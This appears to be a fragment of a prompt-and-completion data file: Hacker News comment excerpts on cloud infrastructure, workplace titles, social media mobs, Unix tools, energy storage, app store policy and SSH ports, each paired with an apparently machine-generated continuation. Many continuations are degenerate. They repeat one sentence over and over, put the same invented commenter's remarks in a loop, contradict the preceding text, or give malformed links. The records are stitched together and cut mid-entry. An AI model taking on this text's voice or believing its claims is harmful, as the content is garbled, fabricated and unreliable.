build an app that runs \"unmodified\" on any OpenStack-based infrastructure,\nthat has a possibility to save me potential time and money from having to port\napps to/from/between AWS, Azure, Google Cloud, et al (assuming of course that\nit enough clouds actually adopt).\n\nFrom that perspective, container solutions _are_ delivering a better developer\nproposition than OpenStack has yet managed. There are ways now to build\ncontainer clusters that you can ship in parallel to AWS and Azure with very\nlittle code difference.\n\nIn that earlier discussion I was skeptical of OpenStack precisely because of\nits focus on infrastructure first. Without the buy in of being a clone for a\nspecific cloud structure (AWS compatibility over anything else, for instance)\nor the backing of traditional datacenter/server vendors (IBM who eventually\nstarted into BlueMix; Microsoft whose \"on premises Azure\" is now firing on\nmost cylinders but was announced as a plan early in OpenStack's history),\nOpenStack didn't seem to have an obvious niche in the infrastructure world.\nThe closest to a niche it might have had in its early life was the promise of\napplication portability between clouds and that never quite seemed to be\ndelivered.\n\nI can tell it frustrates infrastructure folks to hear that containers have\nbeen eating OpenStack's lunch, but that is the very real case from the\ndeveloper perspective. As a developer today, I go for containers and OpenStack\nis no longer relevant on my radar. Sure I can run containers on OpenStack, but\ncontainers abstract away more of"} +{"output_text": ".\n\nI think the real problem is that the \"old\" generation is just too damn\nconformist. They're not just conformist, they're _stupid_ conformist. They\ndon't understand that the world is changing, and they're not adapting fast\nenough.\n\n~~~\njbooth\nI think the real problem is that the \"old\" generation is just too damn\nconformist. They're not just conformist, they're _st", "input_text": " explaining a product in as few words as possible\nso the people who want what you're selling stay for more, but for some reason,\nthe same effect in hiring is overlooked.\n\nIf you want future jobs that carry the kind of responsibilities that a VP of\nEngineering, for instance, would typically handle, those jobs will be easier\nto get if that title's already on your resume. Forcing people to accept the\ntitle of \"Irreverence Engineer\" is forcing them to leave money on the table,\nand it's not a necessary feature of a culture that deemphasizes hierarchy.\n\n~~~\npw0ncakes\nQuestion: at a startup without titles, what do you think of fashioning one's\nown, within certain ethical limits?\n\nIt's obviously wrong to take the CEO title if you weren't the CEO (he or she\nmight take it personally) or CFO if your job had nothing to do with finance,\nbut I think a certain amount of leniency is allowed.\n\n~~~\n_delirium\nThe biggest practical downside I can think of is if in checking references,\nyour former boss gets called and has a reaction of, \"John Doe, Senior Foobar?\nI don't think we even _had_ a Foobar\". So might be worth running it by whoever\nit is from the company you'd be likely to put down as a reference. I've met\nfounders who are perfectly fine vouching for any reasonable title the employee\nwants to pick, though.\n\n------\nmkramlich\nThe OA article comes off a bit like a bunch of teenagers complaining how their\nparents generation are a bunch of conformists so they're going to rebel by all\ndoing their hair different. And then the teenagers all do their hair in\nexactly the same \"different\" way"} +{"output_text": " person at the top\nbenefits from the protests.\n\n~~~\nCM30\nI'm not sure what you're trying to say here.\n\nThe mob is being used by Girl B to get rid of Girl A.\n\nThe mob is being used by Girl B to get rid of Girl A.\n\nThe mob is being used by Girl B to get rid of Girl A.\n\nThe mob is being used by Girl B to get rid of Girl A.\n\n", "input_text": "\nreminds me of the Twitter phenomenon in which people learned that the only way\nto get customer service from Google/Ubisoft/Bank of America/(insert giant\nfaceless company) was to tweet a grievance publicly. It seems to work well, at\nleast in a few high-profile cases. At least, it worked a few times when\nprivate requests failed. Perhaps people are learning by example?\n\nThe old-fashioned (\"culture of honor/dignity\"?) style of one-on-one\nnegotiation is often futile when you are dealing with a company.\n\n~~~\nCM30\nWell yes, they're learning by example. People are getting fired or ostracised\nby mobs on sites like Twitter based on things like this. It's an unfortunate\npattern where instead of countering arguments or having a debate, a lot of\npeople (especially in these SJW groups) tend to try and destroy someone's\nlivelihood instead.\n\nAnd because a lot of companies seem to care more about their'reputation' then\nany sort of principles, you end up in a situation where people are too scared\nto talk out in case a social media mob destroys their life.\n\n~~~\nthelastguy\nIt's the classic witch hunt mob.\n\nGirl A: I like apples. Girl B: I don't like what you're saying. Hey everybody,\nshe's a witch!\n\nMob deals out punishment.\n\nYou can clearly see that the mob is being played, being used like a pawn, by\nGirl B. The mob doesn't actually benefit form this. Girl B benefits from this\nbecause she got rid of her competitor.\n\nThe same way those students protesting are being used by the person at the\ntop. The students don't actually benefits. Meanwhile, the"} +{"output_text": " this study show that\nvivid memories for events that people no longer believe happened to them are\ncommon, and that they are not the result of confabulation or wishful\nthinking. The results also show that vivid memories for events that people no\nlonger believe happened to them are not the result of a failure of memory\nretention, but rather of a failure of belief. The results are discussed in the\ncontext of the theory of the self as a narrative self._\n\n", "input_text": "otten everything (for about half an hour) - the feeling (but no\ninformation) of self-identity remained perfectly intact but I was afraid to\nleave the bar as I had no idea of where do I live and how do I get there.\n\n------\nyboris\nA related book: \"Strangers to Ourselves\" by Timothy D. Wilson\n[http://www.hup.harvard.edu/catalog.php?isbn=9780674013827](http://www.hup.harvard.edu/catalog.php?isbn=9780674013827)\nExcellent book with excellent advice about how to proceed.\n\n------\nthrowayw32\nThis has been dealt to death in Dharmic philosophies; I'm surprised there is\nzero attribution to this anywhere in this article. This is not the first such\ninstance though; I have to wonder why standard academic ethics is not followed\nwith anything concerning Indic traditions.\n\n~~~\nbitexploder\nI often find modern psychology heavily resembles ancient life philosophies.\nFor example, CBT (Cognitive Behavioral Therapy) is, effectively, applied\nStoicism. If you were to explain CBT to an ancient stoic they would just nod\nand agree, understanding the approach intimately.\n\n------\netiam\n_Mazzoni G, Scoboria A, Harvey L. (2010) Nonbelieved memories.\n\nAbstract: This is the first empirical study of vivid autobiographical memories\nfor events that people no longer believe happened to them. Until now, this\nphenomenon has been the object of relatively rare, albeit intriguing,\nanecdotes, such as Jean Piaget's description of his vivid memory of an\nattempted abduction that never happened. The results of"} +{"output_text": "\nIt's not a thing on my Arch Linux install either.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\njoshu\nI guess it's to show that you can't trust the output of time.\n\n~~~\njoshu\nI guess it's to show that you can't trust the output of time.\n\n------\njoshu\nI'm not sure what the point of this is.\n", "input_text": "\nbin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin\nsrv sys tmp usr var\n\n0.00user 0.00system 0:00.00elapsed 0%CPU (0avgtext+0avgdata 2304maxresident)k\n\n0inputs+0outputs (0major+109minor)pagefaults 0swaps\n\nEdit: formatting\n\n~~~\nkevinoid\nSometimes. It depends whether you have the time[1] package installed.\n\n1\\.\n[https://packages.debian.org/sid/time](https://packages.debian.org/sid/time)\n\n------\n7171u\nI had to use \"\\--verbose\" instead of \"-l\" in my RHEL7\n\n \n \n \\time --verbose echo\n\n~~~\naij\nI bet you're using GNU time rather than BSD time.\n\nIt did seem odd to me that the author didn't bother to mention which OS he is\nusing, though from the hostname I have a pretty good guess.\n\n------\nbrendangregg\nNo, /usr/bin/time is indeed what I know, and its extended stats is why I\nsuggested using it in my last perf book (time -v).\n\n\"/usr/bin/time: not the command you think you know\" -> \"/usr/bin/time: may not\nbe the command you think you know\"\n\nThere, I fixed the title.\n\n~~~\nan_account\n/r/iamverysmart\n\n------\nd4l3k\n/usr/bin/time doesn't seem to be a thing on my Arch Linux install. \u00af\\\\_(\u30c4)_/\u00af\n\n~~~\nfbernier"} +{"output_text": "jo\nPolitics is a very broad term. It can be anything from being a good friend of\nthe boss to being a good friend of the boss' wife.\n\n~~~\nkinleyd\nI agree, but I think the point is that the successful people are the ones who\nare able to navigate the politics and get things done.\n\n------\njondubois\nI think the problem is that the scientific community is too focused on\nresearch and not enough on the", "input_text": "As far as whether drug trials are influenced by industry sponsorship, I think\nthe answer is a resounding yes[0], though others might disagree. But if we are\ntalking about hidden industry sponsorship, we erode trust and generate\nquestionable results.\n\n[0]\n[https://jamanetwork.com/journals/jama/fullarticle/196846](https://jamanetwork.com/journals/jama/fullarticle/196846)\n\n------\npdevr\nList of publications by Baselga:\n[https://www.documentcloud.org/documents/4840569-Baselga-\nArti...](https://www.documentcloud.org/documents/4840569-Baselga-Article-\nList.html)\n\n~~~\njondubois\nIt's surprising how many authors all of these papers have. It makes it\ndifficult to allocate credit.\n\nNot saying this is the case here, but I'm sure that if someone was very\nstrategic about it, they could get their names in a lot of high quality papers\nwithout having to do much work.\n\nIn fact, I think that people who focus more on the political aspect of their\ncareers tend to be more successful than people who actually do the innovative\nwork.\n\n~~~\nmaxxxxx\n\"In fact, I think that people who focus more on the political aspect of their\ncareers tend to be more successful than people who actually do the useful\nresearch work.\"\n\nThat's unfortunately the case also outside research. You can have a very good\ncareer if you only focus on politics and nothing else.\n\n~~~\nkinleyd\nHow much of the successful 'politics' would you say is actually sycophancy?\n\n~~~\nekian"} +{"output_text": "'t\nexpect them to be identical.\n\n[0] [https://zachholman.com/2012/08/gitlab-ui-\ndesign/](https://zachholman.com/2012/08/gitlab-ui-design/)\n\n~~~\njoshuamorton\n> Gitlab's CI/CD stuff is a great example of this contrast. GitHub left it to\n> Travis and other CI providers, which makes both GitHub and those providers", "input_text": " stagnated, and stagnated some more. And gitlab went past the\n> initial copying and started innovating and adding more features.\n\nAs an industry, we have a unhealthy obsession with change for change's sake.\nIf we aren't redesigning everything, adding new features, or moving cheese all\nthe time, we aren't innovating.\n\nBut this the opposite of how we should think. If the GitHub repos page, for\ninstance, just works, then we don't need to keep changing it. Zach Holman made\na point, way back in 2012, that they intentionally hide UI features to\npreserve simplicity and trust in their design. [0]\n\nThe thing I get the most from Gitlab's UI is this overwhelming sense of desire\nto add every feature, expose every option, and make it as utilitarian as\npossible. In doing so, though, Gitlab trades off approachability. To some this\nis a great thing, but to others, it's just on the edge of too much. If there's\nanything I want Gitlab to copy from GitHub, it's the opinionated decision\nmaking of what to show and when to show it.\n\nGitlab's CI/CD stuff is a great example of this contrast. GitHub left it to\nTravis and other CI providers, which makes both GitHub and those providers\nhave time to excel at what they're good at. They made the trade off deciding\nthat they couldn't pull it off as well as others, so they delegated it and\nmoved on. Gitlab took the opposite approach and built it in. While it adds\nvalue for some users, it can and (at least in my opinion) does over complicate\nthe core feature set they offer.\n\nIt's okay to have two products with different approaches, but I wouldn"} +{"output_text": " wind and solar? What are we _not_ building if we are building nuclear\npower? What are we _not_ building if we are building hydro?\n\n~~~\nbeat\nI'm not saying cost doesn't matter. I'm saying that the cost of renewables is\nnot prohibitively expensive. It's not even prohibitively expensive relative\nto the cost of fossil fuels.\n\n~~~\ngridlockd\n> I'm saying that the cost of renewables is not prohib", "input_text": " to ensure a return on investment. Now they\u2019re building wind\nand solar farms with agreements for 15 years or less -- with the expectation\nthat projects will compete against gas- and coal-fired plants in wholesale\nmarkets after the deals conclude.\"_\n\nThis may just be speculating that governments will be issuing all kinds of\npremiums on fossil technologies instead of directly subsidizing renewables,\nwhich is far more likely than actually switching to renewables.\n\n~~~\nbeat\nStoring energy isn't exactly magical. Humans built the first dam nearly 3000\nyears ago. It's simply a matter of cost, and that's a combination of situation\nand experience. Batteries, hydro, compressed air, thermal, gravity... all of\nthese things work, and are known quantities.\n\nIt doesn't take a breakthrough in technology to say \"If we build a tank for\ncompressed air that is volume X, to pressure Y, it can store energy Z; and\nthermal losses for conversion in and out are A, and it costs B to build\". This\nis completely ordinary engineering.\n\n~~~\ngridlockd\n> It's simply a matter of cost, and that's a combination of situation and\n> experience. Batteries, hydro, compressed air, thermal, gravity... all of\n> these things work, and are known quantities.\n\n _Everything_ is a matter of cost. If cost didn't matter, we could just suck\nup all the CO2 from the air. That technology already exists too, and it's a\n\"known quantity\". The problem is, cost _does_ matter and there is such a thing\nas \"prohibitively expensive\", especially if we're looking at countries that\naren't as wealthy.\n\nFurthermore, relative costs matter. What are we _not_ building if we are\nbuilding"} +{"output_text": " will work for me, but I'm going to\nkeep at it.\n\n~~~\njoshu\nI've been using Beeminder for a while. I've been using it to track my\ncommitments to various things, and it's been pretty useful.\n\nI've also been using it to track my progress on a project I'm working on.\n\nI've been using it to track my progress on a project I'm working on.\n\nI've been", "input_text": ". I've probably tried the vast majority of the motivation 'hacks'\nrecommended by the other posters in this thread with varying amounts of\nsuccess and failure.\n\nThe #1 thing I think that anyone in this situation, or any self-improvement\nchallenging situation, should do is to understand themselves fully - what\nmakes you tick, what do you like, dislike, etc.? Beware: this is not a\n5-minute task; we could be talking years here. Once you feel like you have a\nhandle on it, or along the way, try out different approaches. (As much as I\nlove the word 'hack', I really shouldn't call them that because you could very\nwell be using it indefinitely.)\n\n\\--- For me personally, one thing that I've never truly tried is a commitment\ncontract. I've long known about services like Beeminder and StickK, but I\nnever actually fully tried one (where you commit with real money). That\nchanged recently when I discovered a framework for classifying people called\nThe Four Tendencies by Gretchen Rubin.\n\nFolks like us mostly fall into the category of \"Obligers\", people who meet\nouter expectations, but struggle to meet expectations they impose on\nthemselves. And one way to beat that is to create parameters (like a\ncommitment contract) that force you into action.\n\nI recently (~6 weeks ago) created a goal on Beeminder and after falling off\nthe wagon tout-de-suite and having to pay up ($5 initially), I haven't\nderailed since (my current penalty is $10). I know, not an earth-shattering\namount of money, for some reason it's keeping me honest.\n\nIt's probably too early to tell if this"} +{"output_text": ".\n\n~~~\njseliger\n_The metro extensions have been planned for decades, and there never seems to\nbe much movement._\n\nI'm not sure about that. The Expo Line is a good example:\n[https://www.google.com/maps/@34.0527, -118.4194, 3a,75y,90.9...](https://www.google.com/maps/@34.0527, -118.4194", "input_text": "still poorly lit, they still smell like shit, and they're not getting much\nuse. There's a huge trainyard east of downtown (one of the coolest parts of\nthe city, imo) called Piggyback Yard, which is owned by Union Pacific, who\ndoesn't want to sell the land. It'd be hard for the city to do any significant\nrevitalization of the river without turning the Piggyback Yard into a park\nthat can provide flood control. Furthermore, the US Army corps of engineers\ncontrols the LA river, so the voters have no say in what happens here.\n\nThe metro extensions have been planned for decades, and there never seems to\nbe much movement. Recently the blue line has been creeping steadily towards\nSanta Monica but I doubt this will have much of an impact on city life even if\nit does connect downtown LA to the westside beach communities. I used to\nencourage everyone to try taking the train, and I used to do it myself all the\ntime, but I haven't hopped on the train at all in the last 12 months. The\nstations are too spread out, the paths of all the lines make little sense, the\ntrains only come every 15-20 minutes, and a huge chunk of the city is totally\ncut off from the transit lines. As much as I don't like uber/lyft, they've\nmade it much more enjoyable to live in LA.\n\nCiclavia is cool, but its just 1 day out of the year. LA is the worst city in\nthe country to ride a bike. They claim to have more bike lines than any other\ncity, but that's only on paper. Just because you paint a person riding a bike\nnext to the gutter of a 2 lane street doesn't make it a bike lane"} +{"output_text": "terms)\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be", "input_text": ",\nbut... yeah.\n\n~~~\ndangrossman\n> No one freaked out over /r/pics,\n\n/r/pics is just a collection of links to images; it does not reproduce or\nredistribute the images.\n\n~~~\najross\nRight, but that's the same sort of legalese excuse-making (or alternatively:\njust substitute imgur, which hosts most of that content).\n\nIt has nothing to do with whether or not /r/pics constitutes fair use, just\nif-it-isn't-fair-use-who-gets-sued? No one, at the time or now, seriously\nthought that there was a legal problem for anyone with reddit. So why\npinterest? Again, part of me is really suspicious that it's because it's a\nchick site that doesn't cater to geeks.\n\n------\nvillagefool\nFunny thing is that Pinterest in their terms of service are asking people to\nfollow rules they are breaking for other services...\n\n------\ntreelovinhippie\nI was under the assumption that all social-based sites/companies follow the\nsame policy, not so they can resell user content, but so they can eventually\ngo through an acquisition without facing a class action lawsuit from its users\nwho would demand a % of the sale. e.g. Geocities.\n\n------\nJBiserkov\n\n\nI prefer the old ones though\n[http://web.archive.org/web/20110619022738/http://500px.com/t...](http://web.archive.org/web/20110619022738/http://500px.com/"} +{"output_text": " behavior of the app.\n\nWe are also reaching out to our customers to see if they have any further\nquestions.\n\n~~~\ndylanpyle\nThanks for the response. I'm curious, what is the difference between a\n\"hot-code-push\" and a \"hot-code-pull\"?\n\n~~~\nadjunct\nA hot-code-push is a mechanism that allows you to update your app in the\nbackground without having to go through the App", "input_text": " a\nbandwidth limit, interconnecting with the entire mind. We aren't Von Neumann\narchitectured.\n\nPS: there's an argument that we might not be able to grasp intelligence\nitself, if its and its components' irreducible complexity is greater than any\nperson's working memory - even if we formalize a correct model, we mightn't\ngrasp it ourselves. Thus, IA may be essential for AI. Or, AI is essential for\nAI.\n\n \nApple starts rejecting apps with \u201chot code push\u201d features - dylanpyle\nhttps://forums.developer.apple.com/thread/73640\n======\nadjunct\nI'm Erez Rusovsky, the CEO of Rollout.io\n\nRollout's mission has always been, and will always be about helping developers\ncreate and deploy mobile apps quickly and safely. Our current product has been\na life saver for hundreds of apps by allowing them to patch bugs in live apps.\n\nWe were surprised by Apple's actions today. From what we've been able to\ngather, they seem to be rejecting any app which utilizes a mechanism of live\npatching, not just apps using Rollout.\n\nRollout has always been compliant with Apple's guidelines as we've detailed in\nthe past here: [https://rollout.io/blog/updating-apps-without-app-\nstore/](https://rollout.io/blog/updating-apps-without-app-store/)\n\nOur SDK is installed in hundreds of live apps and our customers have fixed\nthousands of live bugs in their apps.\n\nWe are contacting Apple in order to get further clarification on why Rollout\ndoesn't fall under the clause that lets developers push JS to live apps as\nlong as it does not modify the original features and"} +{"output_text": "\nCountSessine\nI'm not sure what you're trying to say. The SII is a great phone, but it's\nnot a great phone for me. I don't care about the GPU, I don't care about the\nscreen, I don't care about Touchwiz. I care about the hardware, and the SII\nhas a lot of it.\n\n~~~\nmrich\nI don't care about the hardware either, but I do care about", "input_text": " the Messages app?) but the raw power of the\nthing more than makes up for these shortcomings. For me.\n\nMy long-winded point is this: beauty is in the eye of the beholder. We cannot\nproperly rate these devices outside the context of the person using it. If you\nagree with the criteria put forth as superior in any particular review, it\ncould very well be the device you're looking for.\n\n------\nblub\nThe Verge has rated the phone 8.6/10, not 10/10 as this article claims.\n\n~~~\nalexholehouse\nThe link is also broken...\n\n~~~\nmrsebastian\nThanks - fixing.\n\n------\nmrich\nThe Samsung Galaxy SII has been the inflection point for me. Such a great\ndevice, beats the iPhone in hardware and matches it in software (except in\npolish of some apps).\n\n~~~\nCountSessine\nHuh? Slower GPU, lower resolution screen, Pentile... that's better hardware?\nAnd Touchwiz? Really?\n\n~~~\nmrich\nSII does not have pentile. The screen is bigger and much brighter than the\niPhone's, which is more useful to me than 300+ppi (which was only done for\ntechnical reasons anyway, to get backwards compatibility with the old apps due\nto the 2x factor) The phone is snappy no matter what you do (it's quite\namazing to see 10+ app updates download and install in parallel, and complete\nin 30 seconds). GPU, I don't care about (not much of a gamer), Touchwiz I\ndon't like either (I use the MIUI ROM). I agree for people without any tech\nexpertise iPhone is still the best choice.\n\n~~~"} +{"output_text": "\nproper support for signals, so you can't even use the \"kill\" syscall to\nterminate a process.\n\n~~~\nmadez\n> I believe that Rust still doesn't have proper support for signals, so you\n> can't even use the \"kill\" syscall to terminate a process.\n\nI don't know about Rust, but in C you can use the sigaction system call to\nset up a signal handler.\n\n~~~\nsimias\nI'm", "input_text": ", but is coded as a \"free speech\" issue. Similar to how many churches\ncoded marriage equality as trampling on their freedom of religion.\n\nJust to remind everyone how free speech works: You are free to say whatever\nyou want. I am free to choose to speak out against you or even pull my support\nfrom you if I disagree with what you say. My freedom extends to let me voice\nmy opposition to you just as loudly as you voice your opinions. That is not\ncensorship.\n\n~~~\nnerfhammer\nI don't think Jonathan Haidt is an astroturfer.\n\n \nBeep security update - DyslexicAtheist\nhttps://www.debian.org/security/2018/dsa-4163\n======\ngarethrees\nThe author of beep needs to read the POSIX specification on async-signal-\nsafety [1]. In particular, it is not safe to call exit, free, ioctl, putchar,\nor perror from a signal handler.\n\n[1]\n[http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2...](http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html)\n\n~~~\nmadez\n> In particular, it is not safe to call exit, free, ioctl, putchar, or perror\n> from a signal handler.\n\nWhy is it accepted by the compiler, then?\n\n~~~\nsimias\nI'll be quicker to blame the signal API than the programming language on that\nfront. Dealing with unix signals correctly and robustly is far from trivial\nand rife with footguns. For instance I believe that Rust still doesn't have"} +{"output_text": "s take on this is that \"public service\" is a term of art that\nmeans \"I don't want to pay for it\".\n\n~~~\ntquai\nI don't think I'm trying to tell anyone anything. I'm just saying that I don't\nwant to pay for it.\n\n~~~\nlmm\nI don't think you're trying to tell anyone anything. I think you're just\nsaying that you don't want to pay for it.", "input_text": " ssh is to be able to log into one's machine from elsewhere\non the wide internet. I find it's precisely when I'm somewhere public (i.e.\ncoffee shop or public transport wifi) that I want access to my home machine -\non my work machine (i.e. in the office) anything I need is already there. If\nyou don't need it to be publicly accessible, why would you be running sshd at\nall?\n\n~~~\ntquai\nBefore I can respond to that, I think there's a misunderstanding about what\n\"public service\" means. HTTP is a public service: you open it up to the world,\nand want anyone to be able to connect to it. It is intended and hoped that as\nmany people use it as possible. If your website is slashdotted, then that's\nGREAT! In contrast, I don't want 100000 people to try logging in over SSH to\nmy private server. To put it another way, SSH is only a public service in the\ncases of:\n\n \n \n * CVS over SSH\n * rsync over SSH\n * Commercial SSH tunnels\n \n\nLogging into my authoritative nameserver over SSH, however, is not a public\nservice. And since it's not a public service -- that is, intended for the\npublic -- I don't treat it like one.\n\n~~~\nlmm\nIf you're trying to tell the rest of us something you're going to have to be\nmore concrete. So you \"don't treat it like a public service\". Great. What does\nthat actually mean? (\"I don't make it accessible on a public port from the\npublic internet\" was the most obvious technical interpretation, but it sounds\nlike you didn't mean that)\n\n \nJohn Gruber\u2019"} +{"output_text": "\nwill be.\n\n~~~\nmattmanser\nI'm not sure I'd want to work for a software corporation.\n\n~~~\nscotty79\nWhy not?\n\n~~~\nmattmanser\nI don't like the idea of working for a corporation. I don't like the idea of\nworking for a company that is owned by a corporation.\n\nI don't like the idea of working for a company that is owned by a\nmultin", "input_text": " of 3s.\n\nYou want to go from this:\n\n\\- I should really write [some great app idea]\n\nTo this:\n\n\\- I'll make a list of technologies that I want to use\n\n\\- I'll read the docs, like a book, for the ones that are new\n\n\\- I'll write a single api endpoint\n\n\\- I'll flesh out the api for the rest of a feature\n\n\\- I'll MVP a UI for that one feature, without any concern for design\n\n\\- etc.\n\nIn my case, a combination of the size of and amount of ambiguity in a task is\ninversely proportional to the ability I have to both get it underway and get\nit finished.\n\n~~~\ntlrobinson\nI've been wondering, is there a todo / task tracking app that can somehow\naggregate tasks across multiple applications?\n\nCurrently my tasks are spread across emails and email drafts, Github issues,\niOS reminders, Slack, my head, etc. It's a lot of work to keep track of them\nall.\n\nMaybe I should just carry around a paper notebook and make that the\nauthoritative source of tasks.\n\n~~~\nbeejiu\nSounds like you need a process, rather than a tool. Personally, I jot down\neverything that gets mentioned to me on paper and, within 1-2 days, it will\nend up in the project management system (if it is something to be worked on).\nOnce it's there, I strike it through in my notepad. So basically, 99% of my\nnotepad is a scribble - only 1% that I need to think about remains un-struck.\n\n------\nscotty79\nGet hired in some software corporation. You'll be amazed how easy the work"} +{"output_text": "ide.\n\nShe would care how much she got for $100 worth of Tide.\n\nShe would care how much she got for $100 worth of Tide that she stole.\n\nShe would care how much she got for $100 worth of Tide that she stole and\nsold to Bob.\n\nShe would care how much she got for $100 worth of Tide that she stole and sold\nto Bob and then sold to the store.\n\nShe would care", "input_text": " the money trail for selling drugs, after all who thinks this looks\nlike a drug buy:\n\n \n \n Alice goes to grocery gets laundry detergent;\n Bob sells stolen detergent to a grocery for cash.\n \n\nNo way to connect Bob and Alice until you add:\n\n \n \n Alice goes to grocery gets laundry detergent;\n Alice gives Detergent to Bob for drugs.\n Bob sells stolen detergent to a grocery for cash.\n \n\nNow you can connect them and see the drug deal. Hard to get a warrant to\nsearch Bob's car for laundry detergent.\n\n~~~\nsamstave\nI have no idea how to reconcile this scenario.\n\nCan you explain it in more detail?\n\nIf alice is buying $100 worth of Tide, how much $drugs does she get for her\n$Tide?\n\nHow much $cash does Bob get for his $Tide when he sells it back to the store?\n\nHow much $Profit does the store get from the $Tide bought from Bob?\n\n~~~\nDanBC\nAlice steals $100 worth of Tide.\n\nAlice doesn't care how much drugs she gets for that, because shop lifting is\neasier than prostitution and has lighter sentencing than robbing houses.\n\nBob sells his bottles for $5 each. That means the store can either sell at a\nbig discount for friends, or can make more profit. The margins are not good on\nTide.\n\nThis is in the article on page 3.\n\n~~~\nsamstave\n> _Alice doesn't care how much drugs she gets for that_\n\nI think your explanation is wrong.\n\nAlice would _certainly_ care how much she got for $T"} +{"output_text": ", the companies will stop doing it.\n\n~~~\nforensic\nI'm not going to vote with my wallet. I'm not going to buy products produced\nusing awful methods.\n\nI'm not going to vote with my wallet because I don't want to be responsible\nfor the consequences of my actions.\n\n~~~\nm_eiman\nI'm not saying you should. I'm saying that if you don't want to be\nresponsible for the consequences of your actions", "input_text": "/thomas_thwaites_how_i_built_a_toaster_from_scratch.html)\n\n~~~\nnaner\n_As bad as a 3rd world outsourced job is to us 1st worlder's it's still\ngenerally BETTER than what they would have otherwise. In fact Apple and other\n'outsourcers' are the one and only reason for the breath-taking trend line\nthat is China's per capita growth_\n\nThis always seemed like a bullshit argument to me. So it is marginally better\nto work 16 hour days in terrible conditions while dumping chemicals in local\ngroundwater than it is to starve to death. Well, it turns out that overworking\npeople and polluting is still bad behaviour. These outsourcing companies\nshouldn't be commended for it. Provide these people good working conditions\nand a safe environment or don't bother outsourcing.\n\nAs an analogy, you wouldn't commend me for purchasing a mail-order bride from\na poor country with sex trafficking problems. Yeah, it is marginally better\nfor her than prostitution and she'll have better living conditions, but my\nbehavior is still abusive and exploitative.\n\n~~~\nforensic\nWe can't save the world. Even if our entire country voted for it, we could not\nsave the Chinese from their own policies.\n\nThey are adults living in a sovereign nation; they are responsible for their\nown working conditions.\n\nI'm not going to feel white-guilt for stuff that happens in a foreign country\nover which I have zero control.\n\n~~~\nm_eiman\n_Even if our entire country voted for it, we could not save the Chinese from\ntheir own policies._\n\nVote with your wallet. If nobody will buy products produced using awful\nmethods"} +{"output_text": "ist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for", "input_text": " people purely for their outputs; not as individuals with lives,\ncareer goals, interests, strengths, weaknesses.\n\n3\\. Insisting on process but not participating. E.g. scrums with no management\npresent.\n\n~~~\nravenstine\nIt depends on how you define management.\n\nPMs should probably be present during sprint planning for Scrum, but any level\nof management above PM really shouldn't be there.\n\nI worked at this one place where, as much as I dislike Scrum, we had a pretty\ngood pace going without upper management ever getting involved. Then the\nmanager of our department(not an engineering manager) decided to show up to\nall our meetings because, shit, why not, and it completely cramped our style.\nThey also began to dictate that we do things in a specific way even though our\nproductivity was fine before. Fortunately, like most non-engineers, they lost\ninterest after a month and almost never showed up again.\n\nGranted, I have found at most of my jobs that management is absent when it\nusually counts. At one place we had a \"demo day\" as part of our Scrum process,\nbut relevant parties in management almost never showed up. They would even\nclaim they would show up but always came up with an excuse at the last minute.\nIt wrecked everyone's confidence in them because a manager can't claim to say\nthings like \"product is key\" and then fail to show up to product demos every\nsingle time. Yet demo was something our management wanted us to have.\n\n~~~\nIdidntdothis\nYour last paragraph is important. At a minimum management needs to understand\nscrum and play their part.\n\n------\nGlenTheMachine\n\\- Hold a review for the customer. Ins"} +{"output_text": " welcome?\n\n~~~\nianstormtaylor\nYes, it does!\n\n------\njoshstrange\nI'm not sure I understand the point of this. I'm not a front-end developer but\nI'm a designer and I don't see how this is going to help me. I can't see how\nthis is going to help me design a website.\n\n~~~\nianstormtaylor\nI'm not a front-end developer either, but I", "input_text": " it'll \"just work\"? I like\nthe vendor prefix feature (although there's a 'LESS Prefixer' project too).\n\n~~~\npeferron\nIs there anything wrong with LESS + Autoprefixer? I'm using Sass +\nAutoprefixer on a project currently and it works just fine.\n\n~~~\nnawitus\nYes, I didn't know about it :). I'll probably go with autoprefixer, but with\nMyth I could also use some of the other features and perhaps aim for a slow\ntransition from LESS to CSS over the coming years.\n\n~~~\nianstormtaylor\nTotally, that's the idea :) \u2014 and yeah you should absolutely be able to post-\nprocess LESS output and have everything work fine.\n\n------\nphilliphaydon\nWhy do front-end developers not test their website cross-browser and platform?\n\nThe font chosen doesn't render properly on Windows with Opera or Chrome.\n\n~~~\nwinterswift\nCan confirm, the text renders miserably on Chrome in Windows 8. Somewhat\nironic considering the product being advertised.\n\nFor anyone wondering, here's what it looks like:\n[http://imgur.com/XbZJpC6.png](http://imgur.com/XbZJpC6.png)\n\n------\noneeyedpigeon\nInteresting. Shouldn't the 2nd \"a\" in the right column under \"Color\nManipulation\" be an \"a:hover\"?\n\n~~~\nianstormtaylor\nWhy yes, yes it should :) fixing now.\n\n------\nhabosa\nSIde note but I have never seen \"Star on GitHub\" before... does that mean\ncontributions are"} +{"output_text": " one of them would be useless.)\n\n~~~\nmistercow\n>It occurred to me that if you want to multiply the number of necessary guesses\nby running sshd on an alternate port, you'd need to run multiple sshds.\n\nYou don't need to run multiple sshds. You can just run sshd on a different\nport.\n\n~~~\ncpressey\nI guess I was thinking of the case where you want to run multiple sshds", "input_text": " the electric engine concept has yet to provide a real benefit\nover combustion. (They say less solution but that's not really true is it?)\n\nAnother concept looking for a problem is crypto; as the only problems crypto\nreally solves are the ones faced when doing illegal transactions or hiding\nmoney.\n\n~~~\nmatthewmacleod\n_They make nice cars but the electric engine concept has yet to provide a real\nbenefit over combustion._\n\nThat comment has absolutely no merit whatsoever.\n\n \n\nThere's No Protection In High Ports - CrazedGeek\nhttp://bsdly.blogspot.ca/2013/02/theres-no-protection-in-high-ports.html\n\n======\nmistercow\n>obscuring your login service via non-standard ports or even a requirement to\ntry several ports in sequence really only buys you security equivalent to\nlengthening your password by two characters per port.\n\nNot even that. It's like a _separate_ two-byte password because you get to\nguess and confirm the port separately from the password.\n\nLengthening your password by N bits _multiplies_ the number of 